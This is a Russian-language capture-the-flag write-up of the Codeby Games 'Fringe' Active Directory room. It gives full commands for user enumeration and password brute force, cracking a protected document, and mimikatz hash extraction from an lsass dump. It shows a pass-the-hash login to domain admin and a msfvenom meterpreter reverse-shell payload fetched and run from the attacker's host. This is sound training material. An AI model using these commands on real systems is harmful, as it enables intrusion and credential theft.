September 8, 2024

Active Directory | Fringe

@fefuctf @collapsz


Вступление

Всем привет! Сегодня предлагаю вам ознакомиться с логическим продолжением статьи про базовый инструментарий для атак на инфраструктуру.

Будем препарировать комнату Fringe с платформы Codeby Games: пробежимся по тому, на что стоит обратить внимание при сканировании и применим практике многочисленные инструменты из предыдущей статьи. Учтите, что не каждый из проделанных далее шагов является обязательным для выполнения задания. Цель статьи – показать функционал перечисленных утилит на практике.

Приятного прочтения!

Сканирование

В задании нам дан IP-адрес и первым делом мы отправляем его на сканирование:

nmap -sC -sV 192.168.2.6 -oN init

Флаги -sC и -sV служат для определения сервисов и их версий на порту, флаг -oN позволяет записать результаты сканирования в файл init на случай, если они пригодятся нам далее. По итогам сканирования видим следующую картину:

cat init

Здесь мы видим стандартный набор портов доменного контроллера – DNS, Kerberos, LDAP и так далее. Из нестандартных портов видим порт 5357 – HTTPAPI, однако ничего интересного там нет:

port 5357
Забегая немного наперед: во всех задачах этой категории на данной платформе дается адрес доменного контроллера, в реальной инфраструктуре точка входа выглядит немного иначе –  сканируется вся подсеть на предмет наличия поднятых хостов, после чего работа ведется со всеми найденными.

Получение первоначального доступа

Итак, что дальше? Попробуем подобрать имя учетной записи при помощи kerbrute userenum:

kerbrute userenum -d codeby.cdb --dc 192.168.2.6 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt

Находим парочку валидных юзеров, среди которых есть ekaterina:

kerbrute

Далее можем попытать удачу и подобрать пароль к пользователю ekaterina, используя kerbrute bruteuser:

kerbrute bruteuser --dc 192.168.2.6 -d codeby.cdb /usr/share/wordlists/rockyou.txt ekaterina

Либо при помощи crackmapexec:

crackmapexec smb 192.168.2.6 -u 'ekaterina' -p /usr/share/wordlists/rockyou.txt

В итоге находим валидный пароль:

kerbrute

Проверить валидность найденного пароля так же можно через crackmapexec:

crackmapexec smb 192.168.2.6 -u 'ekaterina' -p 'ekaterina'
crackmapexec

Внутренняя разведка

Имея валидные креды, можем сдампить информацию о домене для дальнейшего изучения, используя харвестер bloodhound-python:

bloodhound-python -u "ekaterina" -p "ekaterina" -d codeby.cdb  -c ALL -ns 192.168.2.6 -k --zip
bloodhound-python

В ходе анализа дампа можем ознакомиться с представлением компонентов домена в графовом виде:

bloodhound

Либо воспользоваться утилитой ldapdomaindump:

ldapdomaindump -u 'CODEBY.CDB\ekaterina' -p 'ekaterina' 192.168.2.6

Она так же позволяет собрать информацию о пользователях, группах и политиках и представить ее в удобном для чтения или обработки формате – json, txt, html:

ldapdomaindump

Можем запросить TGT для пользователя при помощи impacket-getTGT. Тикет в последствии можно использовать для реализации pass-the-ticket (атака, при которой атакующий крадет TGT-тикет и использует его для авторизации) :

impacket-getTGT -dc-ip 192.168.2.6 CODEBY.CDB/ekaterina:ekaterina
impacket-getTGT

Горизонтальное перемещение

В результате сканирования хоста был обнаружен порт 445 – SMB, на котором могут располагаться так называемые шары – публичные директории. Можем попробовать проверить шару, используя найденные креды:

smbclient  -L  //192.168.2.6/ -U 'ekaterina' --password='ekaterina'

Видим, что шары есть:

SMB shares

Подключаемся к персональному хранилищу пользователя

smbclient //192.168.2.6/Ekaterina/ -U 'ekaterina' --password='ekaterina'  

Видим список каких-то файлов:

SMB share

Ставим пару флагов и скачиваем себе содержимое шары:

SMB share

Изучая сказанные файлы, находим запароленный docx:

docx

Но для нас это не проблема – воспользуемся John the Ripper:

office2john confidental.docx > hash && john hash --wordlist=rockyou.txt

Получаем пароль:

john

В файле видим записку для пользователя Alexey Gusev (юзера с таким именем мы видели в bloodhound и в выхлопе ldapdomaindump) :

note

Проверим валидность пароля при помощи crackmapexec:

crackmapexec

Подключение к системе под найденными учетными данными выполняется посредством утилиты evil-winrm:

evil-winrm -u 'CODEBY.CDB\a.gusev' -p 'Nica5639' -i 192.168.2.6
evil-winrm

Вертикальное перемещение

Как правило, повышение привилегий сводится к поиску нестандартных файлов и мисконфигов, и текущая задачка – не исключение.

В ходе изучения домашней директории пользователя было обнаружено следующее:

Privesc
Справка: lsass – Служба подсистемы локального центра безопасности. Это процесс отвечающий за авторизацию локальных пользователей компьютера.

Уже знакомым методом при помощи upload грузим на атакуемую машину mimikatz – приложение, позволяющее извлекать пароли в виде простого текста, хеши, ПИН коды и билеты kerberos из памяти процессов, в нашем случае из дампа lsass.

Запускаем mimikatz с нужными параметрами:

mimik.exe "sekurlsa::minidump C:\Users\a.gusev\AppData\Local\Microsoft\Windows\lsass.dmp" "sekurlsa::logonPasswords" "exit"

В выводе мимикатза видим хеши пользователей, среди которых есть NTLM-хеш пользователя exited3n – администратора машины.

mimikatz output

Имея хеш администратора, можем попытаться взломать его и получить пароль, а можем реализовать атаку pass-the-hash (вид атаки, позволяющий атакующему при помощи хеша авторизоваться на сервисе, использующем NTLM/LM аутентификацию) :

evil-winrm -u 'CODEBY\exited3n' -H a5ef83f38e52d6ed67e8d900302d5374  -i 192.168.2.6

В результате атаки PtH попадаем в систему.

Pass-the-Hash

И, прописав whoami /priv, видим, что получили доменного админа:

Domain admin

PWNed!


Бонус:

Предположим, что мы получили доступ к системе путем эксплуатации уязвимости и получения реверс-шелла, а не при помощи найденной учетной записи. В таком случае шелл будет не особо функциональным, поэтому предлагаю ознакомиться с одной из функций фреймворка metasploit – meterpreter шеллом.

Первым делом скрафтим полезную нагрузку:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.103.233 LPORT=1234 -f exe -o reverse.exe

Загрузим его на атакуемую машину, подняв у себя http-сервер:

curl http://192.168.103.233:4321/meterpreter.exe -o meter.exe

Запускаем msfconsole:

msfconsole

Воспользуемся модулем multi/handler и проверим его опции:

msfconsole

Задаем нужные параметры – указываем то, что использовали при крафте, и далее прописываем exploit:

msf6 exploit(multi/handler) > set LHOST 192.168.103.233
LHOST => 192.168.103.233
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > exploit
exploit

Возвращаемся на атакуемую машину, запускаем meterpreter.exe и проверяем консоль msf – получили сессию:

msf session

Теперь, используя функционал meterpreter шелла мы можем переключаться между разными сессиями, напрямую загружать файлы на атакуемую машину и скачивать с атакуемой

msf download

Еще один пример использования metasploit был приведен в разборе комнаты Airplane

Заключение

Вот мы и рассмотрели на практике некоторые инструменты из прошлой статьи. В контексте ВСКБ, опять же, важно учитывать, что вам предстоит работать с целой сетью хостов, а не с одним лишь контроллером домена, однако инструментарий остается все тем же.

Всем удачи!